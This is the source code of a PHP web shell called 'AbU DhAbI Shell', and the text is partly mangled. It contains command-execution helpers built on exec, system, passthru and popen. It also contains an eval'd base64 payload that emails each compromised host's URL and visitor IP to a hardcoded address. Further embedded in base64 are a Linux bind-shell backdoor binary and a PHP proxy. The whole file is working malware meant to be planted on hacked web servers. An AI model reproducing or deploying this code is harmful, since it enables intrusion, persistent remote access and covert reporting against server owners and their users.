OWN3D by AbU DhAbI

- password -

Host Target: ".$_SERVER["HTTP_HOST"]."
IP: ".gethostbyname($_SERVER["HTTP_HOST"])."
My IP: ".$_SERVER["REMOTE_ADDR"]."
"); } } $sh_id = "LS09WyBhdHRpbGFAYnlyb2UubmV0IF09LS0="; $sh_name = base64_decode($sh_id); $html_start = '

AbU DhAbI Shell™ '; $login = ""; $pass = ""; $md5_pass = ""; $host_allow = array("*"); $login_txt = "Restricted Area"; $accessdeniedmess = "".$sh_name.": access denied"; $gzipencode = TRUE; $filestealth = TRUE; $curdir = "./"; $tmpdir = ""; $tmpdir_log = "./"; $log_email = "warokkponorogo@yahoo.com"; $sort_default = "0a"; $sort_save = TRUE; $sess_cookie = "capriv8vars"; $usefsbuff = TRUE; $copy_unset = FALSE; $hexdump_lines = 8; $hexdump_rows = 24; $win = strtolower(substr(PHP_OS,0,3)) == "win"; $disablefunc = @ini_get("disable_functions"); if (!empty($disablefunc)) { $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = explode(",",$disablefunc); } function get_phpini() { function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str), 100, '', true); return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); } function U_value($value) { if ($value == '') return 'no value'; if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } if (@function_exists('ini_get_all')) { $r = ""; echo ""; foreach (@ini_get_all() as $key=>$value) { $r .= ""; } echo $r; echo "
DirectiveLocal ValueGlobal Value
".$key."
".U_value($value['local_value'])."
".U_value($value['global_value'])."
"; } } function disp_drives($curdir,$surl) { $letters = ""; $v = explode("\\",$curdir); $v = $v[0]; foreach (range("A","Z") as $letter) { $bool = $isdiskette = $letter == "A"; if (!$bool) {$bool = is_dir($letter.":\\");} if ($bool) { $letters .= " ["; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "".$letter."";} $letters .= "] "; } } if (!empty($letters)) {Return $letters;} else {Return "None";} } if (is_callable("disk_free_space")) { function disp_freespace($curdrv) { $free = disk_free_space($curdrv); $total = disk_total_space($curdrv); if ($free === FALSE) {$free = 0;} if ($total === FALSE) {$total = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $used = $total-$free; $free_percent = round(100/($total/$free),2)."%"; $free = view_size($free); $total = view_size($total); return "$free of $total ($free_percent)"; } } if (!function_exists("myshellexec")) { if(is_callable("popen")) { function myshellexec($cmd) { if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; } while (!feof($p)) { $line=fgets($p,1024); $out .= $line; } pclose($p); return $out; } } else { function myshellexec($cmd) { global $disablefunc; $result = ""; if (!empty($cmd)) { if (is_callable("exec") and !in_array("exec",$disablefunc)) { exec($cmd,$result); $result = join("\n",$result); } elseif (($result = $cmd) !== FALSE) { } elseif (is_callable("system") and !in_array("system",$disablefunc)) { $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) { $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; } elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) { $result .= fread($fp,1024); } pclose($fp); } } return $result; } } } function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } else { $res = "Ex() Disabled!"; } } return $res; } function which($pr) { $path = ex("which $pr"); if(!empty($path)) { return $path; } else { return $pr; } } $hostname_x = php_uname(n); $itshome = getcwd(); if (!$win) { $itshome = str_replace("/home/","~",$itshome); $itshome = str_replace("/public_html","/ca.php",$itshome); } else { $itshome = ""; } $enumerate = "http://".$hostname_x."/".$itshome.""; $Lversion = php_uname(r); $OSV = php_uname(s); $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3Vu dCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FE RFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFV RVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJv c3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7 IEBtYWlsKCJ3YXJva2twb25vcm9nb0B5YWhvby5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJn ZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29v a2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data)); $backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; $phpproxy=" PD9waHAKCiMKIyBTdXJyb2dhZmllciB2MS4wLXJjMwojCiMgQXV0aG9yOiBCcmFkIENhYmxlCiMg RW1haWw6IHdhcm9ra3Bvbm9yb2dvQHlhaG9vLmNvbQojIExpY2Vuc2U6IE1vZGlmaWVkIEJTRAoj IExpY2Vuc2UgRGV0YWlsczoKIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocAojCgoKIyBD T05GSUcge3t7CgojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2Fk ZWQuIFtmYWxzZV0KZGVmaW5lKCdERUZBVUxUX1NJTVBMRScsZmFsc2UpOwojIEZvcmNlIHRoZSBw YWdlIHRvIGFsd2F5cyBiZSBpbiBzaW1wbGUgbW9kZSAobm8gYWR2YW5jZWQgbW9kZSBvcHRpb24p LiBbZmFsc2VdCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7CiMgV2lkdGggZm9yIHRoZSBV UkwgYm94IHdoZW4gaW4gc2ltcGxlIG1vZGUgKENTUyAid2lkdGgiIGF0dHJpYnV0ZSkuIFszMDBw eF0KZGVmaW5lKCdTSU1QTEVfTU9ERV9VUkxXSURUSCcsJzMwMHB4Jyk7CgojIERlZmF1bHQgdmFs dWUgZm9yIHR1bm5lbCBzZXJ2ZXIuIFtdCmRlZmluZSgnREVGQVVMVF9UVU5ORUxfUElQJywnJyk7 CiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdCmRlZmluZSgnREVGQVVMVF9UVU5O RUxfUFBPUlQnLCcnKTsKIyBTaG91bGQgdGhlIHR1bm5lbCBmaWVsZHMgYmUgZGlzcGxheWVkPyAi ZmFsc2UiIHZhbHVlIGhlcmUgd2lsbCBmb3JjZSB0aGUgZGVmYXVsdHMgYWJvdmUgW3RydWVdCmRl ZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOwoKIyBEZWZhdWx0IHZhbHVlIGZvciAi UGVyc2lzdGVudCBVUkwiIGNoZWNrYm94IFt0cnVlXQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0n LHRydWUpOwojIERlZmF1bHQgdmFsdWUgZm9yICJSZW1vdmUgQ29va2llcyIgY2hlY2tib3ggW2Zh bHNlXQpkZWZpbmUoJ0RFRkFVTFRfUkVNT1ZFX0NPT0tJRVMnLGZhbHNlKTsKIyBEZWZhdWx0IHZh 